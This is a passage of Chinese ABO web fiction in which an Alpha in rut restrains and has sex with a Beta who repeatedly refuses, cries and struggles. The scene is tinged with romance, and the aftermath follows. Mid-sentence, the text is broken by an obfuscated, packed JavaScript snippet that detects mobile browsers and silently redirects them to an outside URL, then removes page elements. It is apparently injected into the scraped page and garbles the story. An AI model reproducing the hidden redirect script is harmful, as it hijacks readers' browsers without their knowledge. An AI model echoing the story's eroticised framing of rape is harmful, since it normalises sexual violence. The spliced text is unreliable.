因为易感期的Alpha完全无法沟通,宁沅骂他是狗,连溪却只是笑,挨着他的面颊亲昵地蹭,说我当然知道哥哥不是Omega。 “哥哥如果是Omega,这里早该被我弄大了吧。” 宁沅至今记得Alpha说这句话时的病态神情,彼时他正被连溪抱在镜前。 Alpha从后拥着他,温热掌心贴着他的小腹轻轻抚摸,神色幽幽,隔着镜子朝宁沅看来一眼,竟让宁沅不寒而栗。 那时候才刚第二天,宁沅还没有完全放弃和Alpha沟通。 觉察出连溪情况不对,宁沅问他上次注射抑制剂是什么时候,得知已经过了时效,就让他去重新再补。 但Alpha抱着他思考了一会儿,竟然拒绝了他,“……不能打抑制剂。” 连溪眼神挣扎,回答得十分缓慢,像是在脑海中激烈地对抗着什么,喃喃自语,“打了抑制剂的话,我就没办法拒绝哥哥了,哥哥会跑的。” 这理由在宁沅看来简直太过可笑,再次确认连溪不肯注射抑制剂后,他彻底放弃了与连溪沟通,无论连溪对他做什么,都只是咬牙忍耐,不肯再给任何回应。 “哥哥……” 又一次完成了自己的标记后,连溪满意地舔了舔宁沅后颈上的牙印,将人扳过来正对自己,黏黏糊糊地低头亲他,“哥哥亲亲我吧,哥哥亲亲我好不好?” 像祈求主人垂怜的大狗,连溪不断地在宁沅身上蹭来蹭去,间或亲吻他的眼睛鼻尖和嘴唇,试图得到回应。 然而宁沅却始终一声不吭,甚至连抬眼看他的动作都没有过。 求吻失败,Alpha发出困兽般的低吼,焦躁地下床转了几圈,没过一会儿就再次回来,边亲吻床上的人边伸手在床头柜里摸索。 没摸到自己想要的东西,连溪直起身体拉开柜子,才发现里面装计生用品的盒子不知何时已经空了。 Beta怀孕的概率其实很低,尤其是男性,但宁沅在这方面上却格外谨慎,连溪如果不做措施,那他是怎么都不肯让连溪上床的。 为了自己,连溪也只好一直惦记着往柜子里投补给的事情。 但他生日前一段时间太忙,已经许久没顾得上往柜子里补充过,这次又连续待了三天,于是就把以前的存货都给用完了。 连溪不死心地把盒子翻过来倒了倒,又往柜子里扒拉翻找。 确定是一个都没有了,连溪翻身回来抱住宁沅,大狗一样挨着他蹭了蹭,语气里满是苦恼,“哥哥,没有东西了。” 宁沅在听到他翻柜子时就隐约猜到什么,闻言心下微松,但下一秒,连溪接着的话就让他如坠冰窟。 “我直接进好不好?” “不行!” 宁沅脸色煞白,再顾不得之前不打算再理会连溪的想法,伸手抓住他,“连溪,真的不行。” “哥哥肯理我了?” 连溪似乎根本没听到他说的是什么,只顾着他肯回应这一点低头蹭他的鼻尖,继续自己之前的要求,“哥哥亲亲我吧,亲我一下好不好?” 宁沅不想理会,但Alpha一直不停地在他身上蹭来蹭去,动作幅度越来越大,情绪也愈发外露焦躁。 为了让他安静下来,宁沅只得抬头亲了他一下。 “哥哥……” 连溪抓住机会,立刻按着他深吻回来。 这个吻让Alpha安静了有半个小时,但半个小时之后,Alpha就又开始蠢蠢欲动。 中间宁沅其实有试过离开,但他只是动了一下,就被连溪警觉地发现。 宁沅没办法,只能让他在手机上下单外送,但外送毕竟需要时间,东西还没送到,连溪就等不及了。 察觉到Alpha的意图,宁沅拼命挣扎,但就像第一天刚醒来时那样,这些挣扎很快就被Alpha制住。 “连溪……等等!” 宁沅动弹不得,只能试图用言语劝说身前正处于易感期中失控的Alpha,“你再等一会儿好不好,再等一会儿,很快就到了。” “我等不下去了,哥哥……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004730|194023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>连溪翻过来亲他,语带诱哄,“没关系的,哥哥,Beta不会怀孕。” “不行,真的不行。” 宁沅嗓音微颤,带着他自己都未察觉到的巨大恐慌,“连溪……你不能这样。” 听到这句话,Alpha动作微顿,终于是停下来看他,伸手抹去他眼尾的水迹,“哥哥,别哭。” 宁沅不知道自己竟然哭了,尽管知道不应该,但连溪停下来的时候,他心里还是生出一丝希冀,隔着朦胧的视线看向对方,开始将希望寄托于自己的眼泪能获得怜惜。 但连溪沉默地看了他一会儿,就又低头开始亲他,“对不起,哥哥。” Alpha含着他的唇珠吮吻,轻声呢喃,“你哭起来太漂亮了,我忍不住。” * 连溪醒过来的时候,只觉得头痛欲裂,像是宿醉了十日一般。 他向来自视甚高,不同于其他受制于信息素操控的Alpha,这次全然失控,心下可以说是十分懊恼。 记忆画面一幕幕闪回,意识到自己都做了什么,连溪身形微僵,低头看向怀中的人。 宁沅还没有醒,准确说应该是昏迷,眼下泪痕犹在,后颈上的咬痕层层叠叠,身上青红斑驳,粗看竟是找不到一块完好的皮肤。 至于更下面的地方…… 连溪忽然回忆起什么,面色微变,撑起身体向后退开。受他动作牵动,宁沅即使是在昏迷中,身体也不受控制地颤了一下。 担心把人弄醒,连溪立刻不敢动了。 但即使他已经停下,宁沅也还是醒了。 没有看他一眼,宁沅垂着眼睛,呼吸逐渐加重,放在身侧的手指攥紧,胸膛不住起伏,像是在竭力隐忍着什么。 半晌过后,宁沅终于哑着嗓子开口,“出去。” “……我先帮你清理一下。” 连溪沉默片刻,没有听宁沅的话,而是把他抱起来进了浴室。 借着清理的机会检查了下,确定没有受伤,只是有些微使用过度的红肿后,连溪稍稍放心下来,想着等会儿出去后可以帮人上点药。 但连溪很快就意识到自己放心早了。 刚把人强行抱进浴室清理的时候,宁沅没有反抗或是挣扎的反应,连溪心里还松了口气,觉得事情或许没有他想的那么严重。 直到他开始试图跟宁沅说话,而宁沅完全不理会他。 他要抱宁沅洗澡,帮宁沅换衣服,甚至帮宁沅上药宁沅都不会反抗。但无论他跟宁沅说什么,宁沅都不理他,完全视他若空气。 连溪的心渐渐沉了下去。